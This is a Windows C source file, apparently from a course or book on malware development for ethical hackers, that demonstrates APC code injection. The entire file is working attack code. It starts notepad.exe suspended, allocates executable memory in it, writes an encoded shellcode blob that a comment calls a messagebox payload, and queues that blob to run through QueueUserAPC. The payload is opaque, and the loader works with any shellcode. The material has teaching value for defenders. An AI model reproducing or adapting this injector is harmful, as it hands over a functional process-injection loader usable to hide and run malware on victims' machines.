/*
 * Malware Development for Ethical Hackers
 * hack1.c
 * APC code injection technique
 * author: @cocomelonc
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

// Payload in bytes, messagebox
unsigned char myPayload[] = 
"\x48\x31\xc9\x48\x81\xe9\xdc\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xd6\x50\xe0\xd0\x82\x17\x05\xe9\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x2a\x18\x61\x34\x72\xe8"
"\xfa\x16\x3e\x80\xe0\xd0\x82\x56\x54\xa8\x86\x02\xb1\x86\xca"
"\x26\xd7\x8c\x9e\xdb\xb2\xb0\xbc\x5f\x8e\xbb\xce\x6e\xa8\x5b"
"\xd0\x37\x3b\xa1\x5d\x22\xb0\xee\xca\x18\xb2\xa3\x9c\x1d\xd1"
"\x19\xca\x26\xc5\x45\xea\x31\x9c\xd2\xae\x37\x44\x28\x1f\x5d"
"\xa1\xd1\x43\xf5\xe8\xbb\x97\x01\xde\x98\x09\x45\x25\xd7\x5d"
"\x12\xdc\x98\x83\xc7\x3b\x62\x56\xd8\xe0\xd0\x82\x5f\x80\x29"
"\xa2\x3f\xa8\xd1\x52\x47\x3b\x62\x9e\x48\xde\x94\x09\x57\x25"
"\xa0\xd7\x80\x03\x8c\xca\xe8\xcc\xd7\x97\xdb\xd4\x58\xca\x16"
"\xd3\xa4\xe7\x99\xa8\xe1\x42\xbb\x44\x28\x1f\x5d\xa1\xd1\x43"
"\x2f\xe5\x9c\x27\x6e\xac\xd3\xce\x33\x0d\xac\xef\x81\x95\x06"
"\xda\x29\x41\x62\x96\x74\xa9\xd1\x52\x71\x3b\xa8\x5d\x5c\xa8"
"\xee\xc6\x9c\x45\xf5\x9f\x51\x30\xee\xc3\x9c\x01\x61\x9e\x51"
"\x30\x91\xda\x56\x5d\xb7\x8f\x0a\xa1\x88\xc3\x4e\x44\xb3\x9e"
"\xd3\x0c\xf0\xc3\x45\xfa\x09\x8e\x11\xb9\x8a\xbc\x5f\x8e\xfb"
"\x3f\x19\x1f\x2f\x7d\x4a\x4c\x2e\x17\x50\xe0\xd0\x82\x29\x4d"
"\x64\x43\xae\xe0\xd0\x82\x29\x49\x64\x53\x5a\xe1\xd0\x82\x5f"
"\x34\x20\x97\xea\xa5\x53\xd4\x10\xfa\x3c\x9e\x61\x29\x91\x38"
"\xe7\xb0\x4b\x80\xaf\x35\x98\xe7\x7b\x69\x86\xf6\x27\x8f\xa2"
"\xee\x73\x05\xd4\x88\x7e\xce\x8e\xbf\x17\x05\xe9";

int main() {
  // Create a 64-bit process:
  STARTUPINFO startupInfo;
  PROCESS_INFORMATION processInfo;
  LPVOID myPayloadMem;
  SIZE_T myPayloadLen = sizeof(myPayload);
  LPCWSTR cmd;
  HANDLE processHandle, threadHandle;
  NTSTATUS status;

  ZeroMemory(&startupInfo, sizeof(startupInfo));
  ZeroMemory(&processInfo, sizeof(processInfo));
  startupInfo.cb = sizeof(startupInfo);

  CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe",
    NULL, NULL, NULL, FALSE,
    CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo
  );

  // Allow time to start/initialize.
  WaitForSingleObject(processInfo.hProcess, 50000);
  processHandle = processInfo.hProcess;
  threadHandle = processInfo.hThread;

  // Allocate memory for payload
  myPayloadMem = VirtualAllocEx(processHandle, NULL, myPayloadLen,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

  // Write payload to allocated memory
  WriteProcessMemory(processHandle, myPayloadMem, myPayload, myPayloadLen, NULL);

  // Inject into the suspended thread.
  PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)myPayloadMem;
  QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, (ULONG_PTR)NULL);

  // Resume the suspended thread
  ResumeThread(threadHandle);

  return 0;
}
